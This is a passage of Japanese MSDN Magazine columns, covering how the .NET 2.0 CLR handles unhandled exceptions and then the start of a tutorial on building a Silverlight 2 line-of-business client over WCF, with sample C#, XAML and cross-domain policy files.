ただし、CLR 1.0 および 1.1 に対して作成された特定のアプリケーションは、ハンドルされない例外を飲み込むという元の動作に依存しており、CLR 2.0 で予想される動作を行わないため、次に示すように、アプリケーション構成ファイルのランタイム セクションで設定できるフラグが導入されました。
<legacyUnhandledExceptionPolicy enabled="1"/>
設定された後、例外は CLR 1.0 および 1.1 と同様に飲み込まれるようになります。これにより、CLR の例外飲み込みポリシーが構成されます。このポリシーが適用されない場合、CLR はハンドルされない例外の処理のトリガに進みます。
推測されるように、ハンドルされない例外は、クラッシュの理由をよりよく理解するのに役立つという点で優れています。実際にこのことは、catch(Exception ex) のようなパターンはマネージ例外をキャッチすることを暗示し、Version 1.0 および 1.1 で CLR が行っていたこととセマンティクスが類似しているため、このようなパターンの使用は不正であることも示しています。このようなパターンは、より特定的な例外の種類で置換する必要があり、できるだけ例外のソースに近づける必要があります。さらに、例外をキャッチしたポイントが発生ポイントから離れているほど、例外の原因に関するコンテキストが少なくなります。

CLR 以外で作成されたスレッド上のハンドルされない例外
図 4 に、CLR の外部で作成され、後でマネージ コードの実行に入ったスレッドのケースを示しました。この例では、例外が FirstFunc メソッドでも処理されなかった場合、例外は CLR から抜け出しますが、ネイティブ SEH 例外としてスタックに伝播され続けます (マネージ例外はネイティブ SEH 例外として表されます)。OS が例外ハンドラを検索するため、この伝播は OS によって実行されます。このようなスレッドの例には、エントリ ポイント スレッド (デリゲートへのポインタを使用してマネージ コードを呼び出すネイティブ スレッド)、COM 相互運用機能を使用するネイティブ スレッド、または CLR ホスティング API が含まれます。
この例では、2 つのことが発生する可能性があります。まず、OS がユーザー (または CLR) コードのネイティブ フレームの 1 つに SEH 例外ハンドラを発見できた場合です。これにより、SEH 例外処理の第 2 パスは、例外が生成されたフレームから、例外の処理に合意した例外ハンドラの直前のポイントまで、finally 句を実行します。ステップが完了すると、例外をキャッチした例外ハンドラ (たとえば、catch 句など) で実行が再開されます。ホスティング API または COM 相互運用機能を使用してマネージ コードを実行する、CLR に入ったネイティブ スレッドは、このカテゴリに分類されます。
2 つ目の可能性は、OS がユーザー コードの最上位ネイティブ フレームにも SEH 例外ハンドラを発見できなかった場合です。この場合は、例外が処理不能と見なされ、OS は、CLR が依存する独自のハンドルされない例外の処理メカニズムをトリガし、CLR は自身のハンドルされない例外の処理をトリガします。Marshal.GetFunctionPointerForDelegate マネージ API から取得されたポインタを使用して、ネイティブ例外処理の保護の外部でマネージ デリゲートを呼び出すネイティブ スレッドは、このカテゴリに分類されます。
OS のハンドルされない例外フィルタ (UEF) メカニズムは、必ずしも CLR のハンドルされない例外の処理をトリガするとは限りません。説明する前に、OS の UEF メカニズムの動作を見てみましょう。

ハンドルされない例外の処理
Windows は、プロセス内のスレッドで処理不能となる種類の例外が発生するたびに OS によって呼び出される、UEF というプロセス全体のコールバックを登録するメカニズムを公開しています。
このコールバックは、SetUnhandledExceptionFilter Windows API を使用して登録できます。プロセス内のコンポーネントがそのコールバックを登録すると、OS は、登録されている最後のコールバックのアドレス (または、何も登録されていない場合は NULL) を返します。これは、OS によって追跡されるのは最後に登録された UEF コールバックのみであることを意味します。
コールバックが例外を処理できないと判断した場合は、コールバックを受け取ったコンポーネントが、SetUnhandledExceptionFilter が使用されたときに OS が返したポインタを使用して、以前に登録されたコールバックを呼び出すことが期待されます。同様に、コールバックがその先祖を呼び出すことなどが期待されます。
以前に登録されたコールバックを呼び出すこのプロセスは、ハンドルされない例外フィルタのチェーン バックと呼ばれます。性質上、このチェーンは、チェーン内のコンポーネントの 1 つがチェーン バックできない (たとえば、プロセスを終了する) 場合には簡単に壊れる可能性があるため脆弱です。これは、CLR のハンドルされない例外の処理の重要な暗示です。CLR が初期化されるとき、CLR はその UEF コールバックを OS にも登録して、マネージ例外が CLR の外部で作成されたスレッド上で処理不能になったときに呼び出されることを期待します。
通常の状況下では、これは期待どおりに動作し、CLR のハンドルされない例外の処理がトリガされます。ただし、特定の状況下では、この処理が行われないことがあります。このようなケースは、マネージ コードが、その UEF コールバックを OS に登録するネイティブ コンポーネントに対して P/Invoke 呼び出しを行う場合です。このコンポーネントは、ネイティブ コンポーネントより前に UEF コールバックを登録した最後のものが CLR であると想定して、CLR のコールバックのアドレスを取得します。ここで、例外がスレッド上で処理不能になると、OS はネイティブ コンポーネントの UEF コールバックを呼び出します (これが最新の登録であるため)。このコンポーネントが CLR の UEF コールバックを (OS から与えられたポインタを使用して) コールバックしない場合、CLR のハンドルされない例外の処理は開始されません。
CLR のハンドルされない例外の処理がトリガされないもう 1 つのケースは、ネイティブ コンポーネントがその UEF コールバックを登録してから、(COM 相互運用機能を介して、または CLR ホスティングを介して明示的に) CLR を読み込んだ場合です。その場合、CLR はその UEF コールバックを登録し、元のコールバックを保存します。
例外が処理不能になり、OS が最上位 UEF を呼び出した場合は、最終的に CLR の UEF コールバックが呼び出されます。この状況が発生した場合、CLR は優良市民的に動作し、まず、以前に登録された UEF コールバックにチェーン バックします。この場合も、元の UEF コールバックが戻り、例外を処理したことを示す場合は、CLR はそのハンドルされない例外の処理をトリガしません。したがって、CLR のハンドルされない例外の処理がトリガされない場合は、おそらくこの 2 つのシナリオのいずれかが発生しています。
これまで、マネージ コードを実行しているスレッドのベースが、CLR によってハンドルされない例外の処理をトリガする方法にどのように影響するかを見てきました。しかし、CLR のハンドルされない例外の処理中には何が行われるのでしょうか。このプロセスには基本的に 3 つの部分があります。これらについて、次に説明します。上位レベルでは、プロセスは処理不能になった例外についてクラッシュしたアプリケーションに通知し、CLR はクラッシュに関する詳細をログに記録するメカニズムをトリガします。

AppDomain.UnhandledException イベント通知
AppDomain クラスは、UnhandledException と呼ばれるイベントを公開します。このイベントは、マネージ コードを実行しているスレッド上で例外が処理不能になり、かつ、CLR のハンドルされない例外の処理がトリガされたときにトリガされます (前に説明したように、まったくトリガされないシナリオがあるため、"かつ" がキーワードです)。
このイベントは、既定のドメインに対して常に生成されます。また、スレッドが CLR および既定以外の AppDomain で作成された場合、この通知はその AppDomain にも配信されます。
CLR のハンドルされない例外の処理がトリガされると、例外がスレッドのスタックすべてで処理不能になるため、プロセスが終了します。このため、これはどのような問題が発生したのかについてある種のロギングを行う最後のチャンスです。イベント ハンドラは、エラーの診断に使用するために、ハンドルされない例外に関連する例外オブジェクトを取得します。図 5 のコードは、この通知を登録し、使用します。
図 5 通知の登録
class Program
{
  static void Main(string[] args)
  {
    AppDomain.CurrentDomain.UnhandledException += new
      UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);
    throw new Exception("This will go unhandled");
  }

  static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
  {
    Exception ex = (Exception)e.ExceptionObject;
    Console.WriteLine("Observed unhandled exception: {0}", ex.ToString());
  }
}
次に、CLR はハンドルされない例外に関連するマネージ バケット詳細を収集し、図 6 に示すようにこれらを (アプリケーション ログの下の) イベント ログに書き込みます。
図 6 イベント ログの例外 (クリックすると拡大画像が表示されます)
バケット化は、クラッシュのポイントに基づいてアプリケーションのクラッシュをグループ化するプロセスです。ハンドルされないマネージ例外の場合、これは処理不能となったマネージ例外に関して CLR が収集する 9 つの詳細情報に基づいています。これらは総称的に Watson バケットと呼ばれ、マネージ コードのコンテキストでは、クラッシュの要因となったモジュールの名前、クラッシュが発生した中間言語 (IL) オフセット、クラッシュが発生したメソッドの MethodDef (詳細については ECMA 335 仕様を参照) などの詳細情報を含みます。たとえば、バケット P4 はエラー モジュールについて説明し、バケット P9 は処理不能となった例外の種類を表示し、バケット P8 は例外が最初にスローされた IL オフセットを表します。
図 7 に、図 6 に示したバケット詳細に通じるハンドルされない例外を生成したマネージ メソッドの逆アセンブリを示します。図 6 の IL オフセット (P8) が、図 7 の例外がスローされた IL オフセットに一致していることがわかります。
図 7 逆アセンブルされたメソッド (クリックすると拡大画像が表示されます)
ここで注意する必要があるのは、バケット内の情報が、スローされて処理不能となった最後のマネージ例外に対応していることです。例外は、再スローするか、スローされて処理不能となった新しい例外の内部例外としてパッケージ化できるため、このステートメントは重要です。これらは、スレッドが遷移した既定以外の AppDomain でも当初スローされた可能性があります。
最初の 2 つのケース (再スローおよび内部例外としてパッケージ化) では、バケット化で使用されるのは、再スローまたは新しい例外のスローの IL オフセットです。3 つ目のケースは、1 つの AppDomain で作成されたオブジェクトは、マーシャリング (AppDomains などのさまざまな境界を越えて使用するために CLR がオブジェクトを変換する方法) されない限り別の AppDomain で使用できないため特殊です。このため、AppDomain でスローされた例外が処理不能のままであり、AppDomain 遷移境界に達すると、CLR は、生成元の AppDomain からの例外オブジェクトを、最初に呼び出しを行い、マーシャリングされた例外オブジェクトを使用して例外を生成する AppDomain にマーシャリングします。
その結果、P8 バケット内の IL オフセットは、例外を検出した呼び出し元 AppDomain の最初のマネージ フレームに属します。簡潔に言うと、これは一般に AppDomain 遷移がスレッド上で開始されたメソッド内のオフセットです。
CLR ホストは、ICLRErrorReportingManager::GetBucketParametersForCurrentException ホスティング API を使用して、スレッド上の現在の例外のバケット パラメータを取得できます。
最後に、この時点で、通常はアプリケーションをデバッグするか終了するかどうかを確認するダイアログが表示されます。[アプリケーションの終了] をクリックするとプロセスが終了しますが、[デバッグ] をクリックするとマネージ ジャストインタイム (JIT) デバッガが起動します。JIT デバッガは、HKLM\Software\Microsoft\.NetFramework レジストリ キーの DbgManagedDebugger エントリで指定されています。
CLR のハンドルされない例外プロセスの最後のステップでは、CLR は処理不能となった例外に関する詳細情報を標準エラー コンソールに表示します。通常は、マネージ スタック トレース ダンプが表示されます。
例外がより重大な場合 (StackOverflowException や OutOfMemoryException など) は、スタック ダンプの代わりに単純な文字列が表示されます。実行するのに十分なスタック、またはコンソールに表示する詳細なスタック トレースを作成するのに十分なメモリがない可能性があるため、このようになります。CLR がこのような状況に注意を払わない場合は、再帰例外のシナリオが発生します。プロセスの完了後、CLR のハンドルされない例外の処理メカニズムは、制御を呼び出し元 (OS または CLR 自体) に返します。

将来的な考慮事項
このコラムは、.NET Framework 2.0 に付属の CLR のバージョンに基づいており、将来変更される可能性のある実装の詳細には触れていません。ただし、筆者の目的は、実装に注目することではなく、読者がハンドルされない例外の処理の概要を試して理解できるようにすることです。
ここで、ハンドルされない例外処理の構成内容、その依存関係、および OS UEF メカニズムとの関係を理解いただけたかと思います。この知識は、発生する可能性のある予期しないクラッシュに対してアプリケーションのより優れた例外処理の戦略および診断メカニズムを設計するのに役立ちます。

ご意見やご質問は clrinout@microsoft.com までお送りください。

Gaurav Khanna は、マイクロソフトの CLR チームのソフトウェア開発エンジニアであり、マネージ例外処理の実装と CLR ホスティングに取り組んでいます。


データ ポイント
Silverlight 2 と WCF を使用したサービス駆動型アプリケーション
John Papa
コードのダウンロード : SLDataServices2008_09a.exe (234 KB)
オンラインでのコードの参照

このコラムは、Silverlight 2 の Beta 2 バージョンに基づいています。ここに記載されているすべての情報は、変更される場合があります。
目次
サンプル アプリケーション
ドメイン間通信
Silverlight クライアント
製品一覧をバインドする
非同期通信
製品の詳細とバインド モード
変更イベント
まとめ
Silverlight™ 2 を使用すると、グラフィカル機能を豊富に備えたリッチなインターネット アプリケーション (RIA) を簡単に開発できます。しかしそれだけではなく、高度な機能を備えた基幹業務 (LOB: line-of-business) アプリケーションも Silverlight 2 を使用して簡単に開発できます。Silverlight 2 は、Windows® Presentation Foundation (WPF) によって有効になる強力な XAML ベースのデータ バインドのサブセットをサポートします。Silverlight 2 の XAML バインド マークアップ拡張を使用すると、簡単にエンティティを Silverlight コントロールにバインドできます。このマークアップ拡張は完全にクライアント コンピュータ上で動作するので、Silverlight アプリケーションはサーバーで管理されているエンティティから分離されます。したがって、RSS、Representational State Transfer (REST)、Windows Communication Foundation (WCF) などのテクノロジによるサービス ベースの通信を使用できるようにする必要があります。さいわい、Silverlight 2 はこれらや他の通信経路での対話をサポートするので、Silverlight アプリケーションはバックエンドの LOB アプリケーションとシームレスに通信できます。
ここでは、WCF を使用してビジネス エンティティやデータベースと通信する Silverlight 2 UI の作成方法を紹介します。ビジネス ロジック、エンティティ モデル、およびデータ マッピング コードは、どのプレゼンテーション層でも使用できます。Silverlight 2 アプリケーションが使用する WCF サービスを作成し、WCF サービスをホストするサーバーを設定してドメイン間呼び出しを実行できるようにします。このサンプルは、MSDN® Magazine の Web サイトからダウンロードできます。

サンプル アプリケーション
コードについて説明する前に、サンプルの概要を見ていきましょう。図 1 に、完成したアプリケーションを示します。Northwind データベースから取得された製品の一覧が表示されています。ListBox から製品を選択すると、その製品はページの下半分にあるコントロールにバインドされます。ユーザーが CheckBox および TextBox コントロールで製品を編集して [Save] ボタンをクリックすると、WCF によって製品の情報がデータベースに送信されます。[Cancel] ボタンをクリックすると、WCF を通してサーバーから最新の製品一覧が取得され、ListBox とそのバインドが更新されます。
図 1 サンプル Silverlight アプリケーション (クリックすると拡大画像が表示されます)
この Silverlight 2 サンプル アプリケーションは、いくつかのユーザー コントロールとスタイルで構成されています。プレゼンテーション層は、WCF 経由の非同期呼び出しを使用してサーバーと通信します。WCF のサービス参照を使用することで、Silverlight アプリケーションがサービスの操作コントラクトとデータ コントラクトに従ってサービスと通信できるようにします。データ コントラクト (Product や Category などのエンティティ クラス) は、サーバー アプリケーションからエンティティの構造を公開します。これにより、Silverlight アプリケーションのコントロールは、エンティティのインスタンスとそのプロパティに簡単にバインドできます。操作コントラクトは、Silverlight アプリケーションが WCF サービスで呼び出すことのできるメソッドを定義しています。図 2 に、このアーキテクチャの概要を示します。
図 2 サンプル アプリケーションのアーキテクチャ モデル
下位の層からサンプル アプリケーションを作成していきます。まず最初は WCF サービス自体です。Silverlight アプリケーションと通信できる WCF サービスを構築するには、Visual Studio® で新しい WCF プロジェクトを作成します。Silverlight アプリケーションに basicHttpBinding 型のバインドがあれば、標準の WCF サービスを Silverlight アプリケーションで呼び出すことができます。WCF サービスの既定のバインドを wsHttpBinding から basicHttpBinding に変更するか、または basicHttpBinding 型の新しいバインドを作成する必要があります。たとえば、サンプルの WCF サービス ホスト アプリケーションの web.config ファイルには、サービスの構成を定義する次のような XML が含まれます。エンドポイントのバインドが basicHttpBinding として定義されていることに注意してください。
<service behaviorConfiguration=
    "MySilverlightWcfService.NWServiceGatewayBehavior"
    name="MySilverlightWcfService.NWServiceGateway">
    <endpoint address=""
        binding="basicHttpBinding"
        contract="MySilverlightWcfService.INWServiceGateway" />
    <endpoint address="mex" binding="mexHttpBinding"
        contract="IMetadataExchange" />
</service>
WCF サービスを作成するもう 1 つの方法として、Visual Studio でファイル項目テンプレートを選択し、Silverlight 対応の WCF サービスを作成することもできます。図 3 は、Visual Studio の新しい項目テンプレートです。このテンプレートは、自動的にバインドを basicHttpBinding に設定し、いくつかの属性を追加して、サービスを ASP.NET と互換性のあるものにします。この方法では正しいバインド構成が自動的に設定されますが、バインドが basicHttpBinding に設定されている限り、既存の WCF サービスを問題なく使用できることに留意してください。
図 3 Silverlight 対応の WCF テンプレート (クリックすると拡大画像が表示されます)
WCF サービスは、ListBox に表示する製品の一覧を要求でき、ユーザーが製品に対して行う変更を保存できる必要があります。これは簡単な操作であり、Silverlight 固有の技法は必要ありません。サンプル アプリケーションでは、NWServiceGateway という名前の WCF サービス クラスを使用しています。このクラスは、INWServiceGateway インターフェイスを実装しています。次に示すように、INWServiceGateway は ServiceContract として修飾されており、これにより、このインターフェイスを実装するすべてのクラスは WCF を通して公開できます。
[ServiceContract(Namespace = "")]
public interface INWServiceGateway
{
    [OperationContract]
    Product FindProduct(int productId);
    [OperationContract]
    List<Product> FindProductList();
    [OperationContract(Name="FindProductListByCategory")]
    List<Product> FindProductList(int categoryID);
    [OperationContract]
    List<Category> FindCategoryList();
    [OperationContract]
    void SaveProduct(Product product);
}
このインターフェイスには、OperationContract 属性で修飾された複数のメソッドがあります。OperationContract は、WCF サービスから呼び出すことができます。FindProductList メソッドには 2 つのオーバーロードがあることに注意してください。1 つはパラメータを受け取り、もう 1 つは受け取りません。このようなことは Microsoft® .NET Framework のメソッドではまったく問題ありませんが、WCF では同じ名前で複数のメソッドを公開することはできません。これを回避するには、メソッドの名前を変更するか、または OperationContract の Name プロパティを使用してサービス定義で別の名前を指定します。図 4 では、パラメータのある FindProductList メソッドを、WCF サービスで新しい名前を付けて操作に公開する方法を示します。
図 4 データ層での製品の収集
public List<Product> FindProductList()
{
    var productList = new List<Product>();
    using (var cn = new SqlConnection(nwCn))
    {
        const string sql = @"SELECT p.*, c.CategoryName "
            + " FROM Products p INNER JOIN Categories c ON "
            + " p.CategoryID = c.CategoryID ORDER BY p.ProductName";
        cn.Open();
        using (var cmd = new SqlCommand(sql, cn))
        {
            SqlDataReader rdr = cmd.ExecuteReader(
                CommandBehavior.CloseConnection);
            if (rdr != null)
                while (rdr.Read())
                {
                    var product = CreateProduct(rdr);
                    productList.Add(product);
                }
            return productList;
        }
    }
}
WCF サービスは、単にこのサービス コントラクト インターフェイスを実装し、Manager クラスを呼び出します。このクラスは、データベースから製品を取得して、それをサービスから渡すことができるように List<Product> にマッピングする機能を備えています。図 4 に示すコードは、Northwind データベースから製品の一覧を取得し、各製品を Product クラスにマッピングして、各製品のインスタンスを List<Product> に追加します。
WCF によって返されるエンティティは、適切にシリアル化して Silverlight アプリケーションに送信できるよう、DataContract 属性で修飾する必要があります。図 4 で参照されている Product クラスには DataContract 属性があり、そのすべてのプロパティは DataMember 属性で修飾されています。これにより、WCF は、エンティティとその DataMember プロパティをシリアル化して Silverlight アプリケーションで使用できるように指示されます。WCF サービスの FindProductList メソッドを呼び出すと、Silverlight クライアント アプリケーションは List<Product> を受け取り、DataMember 属性で修飾されているすべてのプロパティを参照できます。

ドメイン間通信
Silverlight アプリケーションは、クライアント コンピュータの環境内で実行されます。これにより、サーバーで実行してクライアント上で HTML とスクリプト コードをレンダリングする ASP.NET の Web ベース アプリケーションでは現在直面していない、いくつかの問題が発生します。Silverlight はクライアント上で動作するので、サーバーに情報を要求するのに WCF などのサービス指向テクノロジを使用する必要があります。ただし、WCF サービスは、サービスを利用しようとする好ましくないクライアント アプリケーションから保護されている必要があります。サンプルの Silverlight アプリケーションは信頼できる Web サーバーでホストされているので、サンプル アプリケーションの WCF サービスへのアクセスを許可される必要があります。別の Web サーバーでホストされている別のアプリケーションがサンプルの WCF サービスとの通信を試みた場合は、拒否される必要があります。
サービスに対するこの種のアクセスの制御は、ドメイン間ポリシー ファイルを使用して処理します。Adobe Flash アプリケーションにはこれを処理するために CrossDomain.xml という名前の既定のファイルがあり、サービスの Web サーバーのルートに格納されています。Silverlight アプリケーションの動作も似ており、最初に Web サーバーのルートにある (Web アプリケーションのルートではありません) ClientAccessPolicy.xml という名前のファイルを検索します。ファイルが見つかると、アプリケーションはそれを読み取って、要求を許可するか拒否するかを判別します。ファイルが見つからない場合、アプリケーションは CrossDomain.xml ファイルを探します。どちらのファイルも見つからない場合は、要求は拒否され、Silverlight クライアント アプリケーションは WCF サービスを呼び出すことができません。
どちらかのファイルの内容で、サービスへの呼び出し元権限が許可されている必要があります。サンプル アプリケーションは保護された開発マシンにのみ存在するので、その ClientAccessPolicy.xml では次のようにすべての要求が許可されています。
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <policy>
      <allow-from http-request-headers="*">
        <domain uri="*"/>
      </allow-from>
      <grant-to>
        <resource path="/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
ここで作成した ClientAccessPolicy.xml ファイルでは、すべての場所からのすべてのパスに対するドメイン間アクセスを許可しています。サンプル アプリケーションには、このファイルのコピーが含まれています。WCF プロジェクトを最初に作成した段階では、既定のオプションは、自動的に割り当てられるポートで Visual Studio Development Server を使用するようになっています。ただし、サンプル アプリケーションの WCF サービス プロジェクトは "IIS Web サーバーを使用する" ように設定されていますが、これはプロジェクトのプロパティ ページの [Web] タブで変更できます。ClientAccessPolicy.xml ファイルが Web サイトのルートにある限り、どちらのオプションでも動作します。
ポリシーでは、特定のフォルダ パスにある特定のサービスに対しては特定の URI のアクセスのみを許可するように、制限およびセキュリティ保護できます。そのためには、Silverlight アプリケーションをホストする Web サーバーが、WCF サービスにアクセスできるようにこのファイルで指定されている必要があります。たとえば、さらに制限の厳しいドメイン間ポリシーは次のようになります。
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <policy>
      <allow-from http-request-headers="*">
        <domain uri="http://johnpapa.net"/>
      </allow-from>
      <grant-to>
        <resource path="/MyAwesomeServices/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
ここでは、johnpapa.net のサービスから発生しているすべての要求は、サーバー上の /MyAwesomeServices パスにあるサービスへのアクセスを許可されることに注意してください。
ドメイン間呼び出しに関する問題のデバッグは難しい場合があります。Web Development Helper (筆者のお気に入りです) や Fiddler などのツールを使用すると、Silverlight アプリケーションとサーバー ベースのサービスの間のトラフィックを調査できます。これらのツールでは、HTTP 要求と応答が個別に示されます。また、ClientAccessPolicy.xml ファイルがアプリケーション ルートではなく Web ルートに置かれていることも確認する必要があります。これは非常に重要なことです。
また、サービスを (たとえば IIS で直接ホストするのではなく) Visual Studio プロジェクトでホストし、プロジェクトが自動割り当てポートを作成する場合、このサービスをテストする最も簡単な方法は、単に ClientAccessPolicy.xml ファイルをプロジェクト自体のルートに置いてみることです。プロジェクトは自動割り当てポート (localhost:32001/MyAwesomeService など) を取得するので、Web のルートで ClientAccessPolicy.xml ファイルを検索します。この例では localhost:32001 になります。

Silverlight クライアント
サービスをコンパイルし、ドメイン間ポリシーを設定した後は、Silverlight クライアントを WCF サービスと通信するように設定できます。サンプル アプリケーションに含まれる SilverlightWCF という名前の Silverlight クライアント プロジェクトには、サンプルの WCF サービスに対するサービス参照が必要です。ソリューション エクスプローラで参照ノードを右クリックし、[サービス参照の追加] をクリックします。次に、サービスの URL を入力して [移動] ボタンをクリックすると、サービスが表示されます。[OK] をクリックすると、サービス クライアントの構成が、サービスの呼び出しと (DataContract で定義されている) エンティティの使用を簡単にするために生成されるプロキシ クラスと共に、Silverlight プロジェクトに追加されます。図 5 は、サービスを追加するときに表示されるダイアログ ウィンドウです。
図 5 サービス参照の追加 (クリックすると拡大画像が表示されます)
サンプルは、localhost/MySilverlightWcfService/NWServiceGateway.svc にあるサービスを既定で使用することに注意してください。当然のことですが、サービスを移動した場合は、このエンドポイント アドレスも更新する必要があります。新しいメソッドや DataContract の追加などの小さい変更を WCF サービスに実装した場合は、ソリューション エクスプローラで [サービス参照の更新] を選択してもかまいません。

製品一覧をバインドする
サンプル アプリケーションは、製品の一覧をユーザーに対して表示する必要があります。ここでは、ListBox コントロールを DataTemplate と共に使用して、単に行と列で値を一覧するよりも少しだけ凝った方法で製品を表示できるようにします (ListBox は最初の 図 1 で示してあります)。次のマークアップで示すように、ListBox の ItemSource プロパティを設定することで、ListBox がバインドされたデータ ソースから値を取得します。
<ListBox x:Name="lbProducts" Height="220" HorizontalAlignment="Left"
    VerticalAlignment="Bottom" Margin="10,10,10,10" Width="480"
    Style="{StaticResource ListBoxStyle}"
    ItemsSource="{Binding}" >
ItemSource プロパティは、単にバインドされることを示すだけで、対象となる具体的なオブジェクトやプロパティを示していないことに注意してください。ソースが指定されていないので、ListBox は XAML 内の任意の継承された DataContext オブジェクト ソースを参照します。DataContext は、任意の親 FrameworkElement から継承できます。サンプル アプリケーションは、WCF サービスが製品の一覧を返した後、分離コード内で lbProducts という名前の ListBox の DataContext を設定します。
lbProducts.DataContext = productList;
このコードが実行されると、ListBox は製品の一覧にバインドされ、DataTemplate 内の各 ListBoxItem は一覧に含まれる個別の製品にバインドされます。図 6 は、ListBox を作成し、DataTemplate で表されるアイテムをソースにバインドする XAML です。ソースにバインドされる個別のコントロールは、バインド マークアップ拡張を使用して、バインド先の Product のプロパティおよび OneWay バインド モードを使用することを示していることに注意してください。次に例を示します。
Text="{Binding ProductName, Mode=OneWay}"
図 6 ListBox XAML
<ListBox x:Name="lbProducts" Height="220" HorizontalAlignment="Left"
   VerticalAlignment="Bottom" Margin="10,10,10,10" Width="480"
   Style="{StaticResource ListBoxStyle}" ItemsSource="{Binding}" >
   <ListBox.ItemTemplate>
      <DataTemplate>
         <StackPanel Orientation="Horizontal">
            <StackPanel Style="{StaticResource TitlePanel}"
               Orientation="Vertical">
            <TextBlock Text="{Binding ProductName, Mode=OneWay}"
               Style="{StaticResource TitleTextBlock}" FontSize="14"/>
            <TextBlock Text="{Binding CategoryName, Mode=OneWay}"
               Style="{StaticResource SubTitleTextBlock}"/>
         </StackPanel>
            <Grid>
               <Grid.RowDefinitions>
                  <RowDefinition></RowDefinition>
                  <RowDefinition></RowDefinition>
                  <RowDefinition></RowDefinition>
               </Grid.RowDefinitions>
               <Grid.ColumnDefinitions>
                  <ColumnDefinition></ColumnDefinition>
                  <ColumnDefinition></ColumnDefinition>
               </Grid.ColumnDefinitions>
               <TextBlock Text="Product ID" Style="{StaticResource
                  TextBlockStyle}" Grid.Row="0" Grid.Column="0"/>
               <TextBlock Text="{Binding Id, Mode=OneWay}"
                  Style="{StaticResource TextBlockStyle}"
                  Foreground="#FF001070" Grid.Row="0" Grid.Column="1"/>
               <TextBlock Text="Price" Style="{StaticResource
                  TextBlockStyle}"
                  Grid.Row="1" Grid.Column="0"/>
               <TextBlock Text="{Binding UnitPrice, Mode=OneWay,
                  Converter={StaticResource
                  priceConverter}}"
                  Foreground="#FF001070" Style="{StaticResource
                  TextBlockStyle}" Grid.Row="1" Grid.Column="1"/>
               <TextBlock Text="Units" Style="{StaticResource
                  TextBlockStyle}" Grid.Row="2" Grid.Column="0"/>
               <TextBlock Text="{Binding UnitsInStock, Mode=OneWay}"
                  Foreground="#FF001070"
                  Style="{StaticResource TextBlockStyle}"
                  Grid.Row="2" Grid.Column="1"/>
            </Grid>
         </StackPanel>
      </DataTemplate>
   </ListBox.ItemTemplate>
</ListBox>
バインドされるすべての TextBox コントロールのバインド モードが、OneWay に設定されます。これは、ソース (Product インスタンス) が、最初に読み込まれたとき、およびソース内で何らかの変更が行われたときに、値をターゲット (ListBox およびその中でバインドされているすべてのアイテム) にプッシュする必要があることを示します (モードの詳細については、「バインド モード」を参照してください)。

非同期通信
バインドが行われるためには、その前に製品一覧が WCF サービスからフェッチされている必要があります。Silverlight からのすべての WCF サービス呼び出しは、非同期通信で行われます。サンプルの WCF サービスは、FindProductList という名前の OperationContract を発行します。Silverlight との通信は非同期なので、このコントラクトは、通信を開始する非同期メソッドおよび操作の完了時に発生するイベントと共に、生成されるプロキシ内に実装されます。
サービス プロキシのインスタンスを作成するコードを次に示します。
private void FindProductList()
{
    this.Cursor = Cursors.Wait;
    var proxy = new NWServiceGatewayClient();
    proxy.FindProductListCompleted += new
        EventHandler<FindProductListCompletedEventArgs>(
        FindProductListCompleted);
    proxy.FindProductListAsync();
}
プロキシが作成された後で、イベント ハンドラが FindProductListCompleted イベントに追加されます。これは、非同期 WCF サービス呼び出しの結果を受け取るメソッドです。最後に、FindProductListAsync メソッドが実行されます。
非同期の WCF サービス呼び出しが完了すると、イベント ハンドラが実行されます。次に示すコードは、製品の一覧を受信して ListBox の DataContext にバインドする FindProductListCompleted イベント ハンドラです。
private void FindProductListCompleted(object sender,
    FindProductListCompletedEventArgs e)
{
    ObservableCollection<Product> productList = e.Result;
    lbProducts.DataContext = productList;
    if (lbProducts.Items.Count > 0)
        lbProducts.SelectedIndex = 0;
    this.Cursor = Cursors.Arrow;
}

製品の詳細とバインド モード
ListBox 内のアイテムが選択されると、イベント ハンドラのコードは、選択された Product を ListBox の SelectedItem からフェッチし、それを Grid レイアウト コントロールの DataContext に設定します。Grid レイアウト コントロールは、製品詳細セクションのコンテナとして使用され、ユーザーが選択した製品の編集に使用できる一連のコントロールを含んでいます。DataContext はコントロール ツリーの下位に継承されるので、個別の TextBox コントロールや CheckBox コントロールで DataContext を設定する必要はありません。これらのコントロールはすべて、親の Grid コントロールから、lbProducts_SelectionChanged イベント ハンドラで設定された DataContext を継承します。
Grid レイアウト コントロール内には、バインド宣言を含む複数の TextBlock、TextBox、および CheckBox コントロールが存在します。このセクションの XAML の一部を次に示します。
<TextBox Style="{StaticResource TextBoxStyle}"
    Text="{Binding UnitsInStock, Mode=TwoWay}"
    Grid.Row="1" Grid.Column="1" Margin="3,3,3,3" Height="30"
    x:Name="tbUnitsInStock" Width="100"
    VerticalAlignment="Bottom" HorizontalAlignment="Left"/>

<TextBlock Style="{StaticResource TextBlockStyle}" Text="{Binding
    CategoryName, Mode=OneWay}" Foreground="#FF001070" Grid.Row="1"
    Grid.Column="4" Margin="3,3,3,3" Height="22"
    HorizontalAlignment="Left" VerticalAlignment="Bottom"/>
最初の XAML は、Product ソース オブジェクトの UnitsInStock プロパティを表示する TextBox です。2 番目の XAML は、Product インスタンスの CategoryName プロパティの値を表示します。バインドの Mode プロパティが、TextBox では TwoWay に設定され、TextBlock では OneWay (既定の値) に設定されていることに注意してください。
バインドの Mode プロパティは重要なバインド設定であり、ターゲットとソースの間で発生するバインドの頻度と方向を決定します。図 7 は、Silverlight XAML で使用できる 3 種類のバインド モードと、それぞれが更新されるタイミングをまとめたものです。
図 7 Silverlight XAML での 3 種類のバインド モード
バインド モード | OneTime | OneWay | TwoWay
DataContext が最初に設定されるとターゲットが更新される | ○ | ○ | ○
ソースの変更時にターゲットが更新される | × | ○ | ○
ターゲットの変更時にソースが更新される | × | × | ○
